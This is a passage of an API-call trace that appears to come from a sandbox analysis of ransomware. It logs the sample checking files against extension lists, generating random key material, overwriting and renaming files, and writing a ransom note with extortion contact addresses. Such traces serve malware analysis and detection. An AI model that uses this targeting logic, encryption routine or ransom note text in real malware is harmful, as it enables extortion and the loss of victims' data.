	[0077.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".DACPAC") returned 0x0
	[0077.556] lstrlenW (lpString=".VHD") returned 4
	[0077.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".VHD") returned 0x0
	[0077.556] lstrlenW (lpString=".DBV") returned 4
	[0077.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".DBV") returned 0x0
	[0077.556] lstrlenW (lpString=".dacpac") returned 7
	[0077.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".dacpac") returned 0x0
	[0077.556] lstrlenW (lpString=".sdf") returned 4
	[0077.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".sdf") returned 0x0
	[0077.556] lstrlenW (lpString=".accdb") returned 6
	[0077.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".accdb") returned 0x0
	[0077.556] lstrlenW (lpString=".DBX") returned 4
	[0077.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".DBX") returned 0x0
	[0077.556] lstrlenW (lpString=".MDT") returned 4
	[0077.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".MDT") returned 0x0
	[0077.556] lstrlenW (lpString=".SQB") returned 4
	[0077.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".SQB") returned 0x0
	[0077.556] lstrlenW (lpString=".vhd") returned 4
	[0077.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".vhd") returned 0x0
	[0077.556] lstrlenW (lpString=".bac") returned 4
	[0077.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".bac") returned 0x0
	[0077.557] lstrlenW (lpString=".mdf") returned 4
	[0077.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".mdf") returned 0x0
	[0077.557] lstrlenW (lpString=".BAK") returned 4
	[0077.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".BAK") returned 0x0
	[0077.557] lstrlenW (lpString=".BAC") returned 4
	[0077.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".BAC") returned 0x0
	[0077.557] lstrlenW (lpString=".dbs") returned 4
	[0077.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".dbs") returned 0x0
	[0077.557] lstrlenW (lpString=".vhdx") returned 5
	[0077.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".vhdx") returned 0x0
	[0077.557] lstrlenW (lpString=".NDF") returned 4
	[0077.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".NDF") returned 0x0
	[0077.557] lstrlenW (lpString=".dat") returned 4
	[0077.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".dat") returned 0x0
	[0077.557] lstrlenW (lpString=".DBS") returned 4
	[0077.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".DBS") returned 0x0
	[0077.557] lstrlenW (lpString=".CKP") returned 4
	[0077.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".CKP") returned 0x0
	[0077.557] lstrlenW (lpString=".edb") returned 4
	[0077.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".edb") returned 0x0
	[0077.557] lstrlenW (lpString=".PST") returned 4
	[0077.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".PST") returned 0x0
	[0077.557] lstrlenW (lpString=".dbf") returned 4
	[0077.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".dbf") returned 0x0
	[0077.557] lstrlenW (lpString=".SQL") returned 4
	[0077.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".SQL") returned 0x0
	[0077.558] lstrlenW (lpString=".pst") returned 4
	[0077.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".pst") returned 0x0
	[0077.558] lstrlenW (lpString=".dbv") returned 4
	[0077.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".dbv") returned 0x0
	[0077.558] lstrlenW (lpString=".SDF") returned 4
	[0077.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".SDF") returned 0x0
	[0077.558] lstrlenW (lpString=".dtxs") returned 5
	[0077.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".dtxs") returned 0x0
	[0077.558] lstrlenW (lpString=".db3") returned 4
	[0077.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".db3") returned 0x0
	[0077.558] lstrlenW (lpString=".OST") returned 4
	[0077.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".OST") returned 0x0
	[0077.558] lstrlenW (lpString=".dbx") returned 4
	[0077.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".dbx") returned 0x0
	[0077.558] lstrlenW (lpString=".DB3") returned 4
	[0077.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".DB3") returned 0x0
	[0077.559] lstrlenW (lpString=".DAT") returned 4
	[0077.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".DAT") returned 0x0
	[0077.559] lstrlenW (lpString=".VHDX") returned 5
	[0077.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".VHDX") returned 0x0
	[0077.559] lstrlenW (lpString=".ndf") returned 4
	[0077.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".ndf") returned 0x0
	[0077.559] lstrlenW (lpString=".DB") returned 3
	[0077.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".DB") returned 0x0
	[0077.559] lstrlenW (lpString=".sql") returned 4
	[0077.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".sql") returned 0x0
	[0077.559] lstrlenW (lpString=".MYD") returned 4
	[0077.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".MYD") returned 0x0
	[0077.559] lstrlenW (lpString=".DBT") returned 4
	[0077.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".DBT") returned 0x0
	[0077.559] lstrlenW (lpString=".ACCDB") returned 6
	[0077.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".ACCDB") returned 0x0
	[0077.559] lstrlenW (lpString=".fdb") returned 4
	[0077.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".fdb") returned 0x0
	[0077.559] lstrlenW (lpString=".bak") returned 4
	[0077.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".bak") returned 0x0
	[0077.559] lstrlenW (lpString=".myd") returned 4
	[0077.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".myd") returned 0x0
	[0077.559] lstrlenW (lpString=".DTXS") returned 5
	[0077.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".DTXS") returned 0x0
	[0077.560] lstrlenW (lpString=".ckp") returned 4
	[0077.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".ckp") returned 0x0
	[0077.560] lstrlenW (lpString=".dbt") returned 4
	[0077.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".dbt") returned 0x0
	[0077.560] lstrlenW (lpString=".db") returned 3
	[0077.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".db") returned 0x0
	[0077.560] lstrlenW (lpString=".TXT") returned 4
	[0077.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".TXT") returned 0x0
	[0077.560] lstrlenW (lpString=".MDF") returned 4
	[0077.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".MDF") returned 0x0
	[0077.560] lstrlenW (lpString=".bdb") returned 4
	[0077.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".bdb") returned 0x0
	[0077.560] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0077.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.560] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39ff38) returned 1
	[0077.562] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.562] CryptReleaseContext (hProv=0x39ff38, dwFlags=0x0) returned 1
	[0077.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0077.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x28061e8
	[0077.562] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19755203730) returned 1
	[0077.562] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x98213850, dwHighDateTime=0x1d60e1e)) 
	[0077.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0077.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0077.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0077.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9458
	[0077.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9458 | out: hHeap=0x300000) returned 1
	[0077.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd148
	[0077.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa460
	[0077.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd148 | out: hHeap=0x300000) returned 1
	[0077.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a78e8
	[0077.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa460 | out: hHeap=0x300000) returned 1
	[0077.563] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0077.563] GetLastError () returned 0x0
	[0077.563] GetLastError () returned 0x0
	[0077.563] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0077.563] GetLastError () returned 0x0
	[0077.563] GetLastError () returned 0x0
	[0077.565] ReadFile (in: hFile=0x130, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.571] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.571] WriteFile (in: hFile=0x130, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0077.573] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.573] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.575] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.575] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.575] CloseHandle (hObject=0x130) returned 1
	[0077.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a78e8
	[0077.575] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.~~~~")) returned 1
	[0077.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a78e8 | out: hHeap=0x300000) returned 1
	[0077.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0077.576] GetLastError () returned 0x0
	[0077.576] RtlWakeConditionVariable () returned 0x365f70
	[0077.576] GetCurrentThreadId () returned 0x9f4
	[0077.576] GetCurrentThreadId () returned 0x9f4
	[0077.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a78e8
	[0077.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7a18 | out: hHeap=0x300000) returned 1
	[0077.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9490 | out: hHeap=0x300000) returned 1
	[0077.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7a18
	[0077.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0077.577] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0077.577] WriteFile (in: hFile=0x130, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0077.578] CloseHandle (hObject=0x130) returned 1
	[0077.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7a18 | out: hHeap=0x300000) returned 1
	[0077.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a78e8 | out: hHeap=0x300000) returned 1
	[0077.579] RtlWakeConditionVariable () returned 0x365f70
	[0077.579] GetCurrentThreadId () returned 0x9f4
	[0077.579] GetCurrentThreadId () returned 0x9f4
	[0077.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0077.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab6c0 | out: hHeap=0x300000) returned 1
	[0077.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35cab0 | out: hHeap=0x300000) returned 1
	[0077.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab6c0
	[0077.579] lstrlenW (lpString=".scr") returned 4
	[0077.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".scr") returned 0x0
	[0077.579] lstrlenW (lpString=".cmd") returned 4
	[0077.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".cmd") returned 0x0
	[0077.579] lstrlenW (lpString=".dll") returned 4
	[0077.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".dll") returned 0x0
	[0077.579] lstrlenW (lpString=".bat") returned 4
	[0077.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".bat") returned 0x0
	[0077.579] lstrlenW (lpString=".cpl") returned 4
	[0077.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".cpl") returned 0x0
	[0077.579] lstrlenW (lpString=".sys") returned 4
	[0077.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".sys") returned 0x0
	[0077.579] lstrlenW (lpString=".msc") returned 4
	[0077.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".msc") returned 0x0
	[0077.580] lstrlenW (lpString=".com") returned 4
	[0077.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".com") returned 0x0
	[0077.580] lstrlenW (lpString=".lnk") returned 4
	[0077.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".lnk") returned 0x0
	[0077.580] lstrlenW (lpString=".msp") returned 4
	[0077.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".msp") returned 0x0
	[0077.580] lstrlenW (lpString=".pif") returned 4
	[0077.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".pif") returned 0x0
	[0077.580] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0077.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0077.580] lstrlenW (lpString=".sqb") returned 4
	[0077.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".sqb") returned 0x0
	[0077.580] lstrlenW (lpString=".ost") returned 4
	[0077.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".ost") returned 0x0
	[0077.580] lstrlenW (lpString=".txt") returned 4
	[0077.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".txt") returned 0x0
	[0077.580] lstrlenW (lpString=".mdt") returned 4
	[0077.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".mdt") returned 0x0
	[0077.581] lstrlenW (lpString=".BDB") returned 4
	[0077.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".BDB") returned 0x0
	[0077.581] lstrlenW (lpString=".eql") returned 4
	[0077.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".eql") returned 0x0
	[0077.581] lstrlenW (lpString=".DBF") returned 4
	[0077.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".DBF") returned 0x0
	[0077.581] lstrlenW (lpString=".EQL") returned 4
	[0077.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".EQL") returned 0x0
	[0077.581] lstrlenW (lpString=".FDB") returned 4
	[0077.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".FDB") returned 0x0
	[0077.581] lstrlenW (lpString=".EDB") returned 4
	[0077.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".EDB") returned 0x0
	[0077.581] lstrlenW (lpString=".DACPAC") returned 7
	[0077.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".DACPAC") returned 0x0
	[0077.581] lstrlenW (lpString=".VHD") returned 4
	[0077.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".VHD") returned 0x0
	[0077.581] lstrlenW (lpString=".DBV") returned 4
	[0077.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".DBV") returned 0x0
	[0077.581] lstrlenW (lpString=".dacpac") returned 7
	[0077.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".dacpac") returned 0x0
	[0077.581] lstrlenW (lpString=".sdf") returned 4
	[0077.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".sdf") returned 0x0
	[0077.581] lstrlenW (lpString=".accdb") returned 6
	[0077.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".accdb") returned 0x0
	[0077.581] lstrlenW (lpString=".DBX") returned 4
	[0077.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".DBX") returned 0x0
	[0077.582] lstrlenW (lpString=".MDT") returned 4
	[0077.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".MDT") returned 0x0
	[0077.582] lstrlenW (lpString=".SQB") returned 4
	[0077.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".SQB") returned 0x0
	[0077.582] lstrlenW (lpString=".vhd") returned 4
	[0077.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".vhd") returned 0x0
	[0077.582] lstrlenW (lpString=".bac") returned 4
	[0077.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".bac") returned 0x0
	[0077.582] lstrlenW (lpString=".mdf") returned 4
	[0077.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".mdf") returned 0x0
	[0077.582] lstrlenW (lpString=".BAK") returned 4
	[0077.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".BAK") returned 0x0
	[0077.582] lstrlenW (lpString=".BAC") returned 4
	[0077.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".BAC") returned 0x0
	[0077.582] lstrlenW (lpString=".dbs") returned 4
	[0077.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".dbs") returned 0x0
	[0077.582] lstrlenW (lpString=".vhdx") returned 5
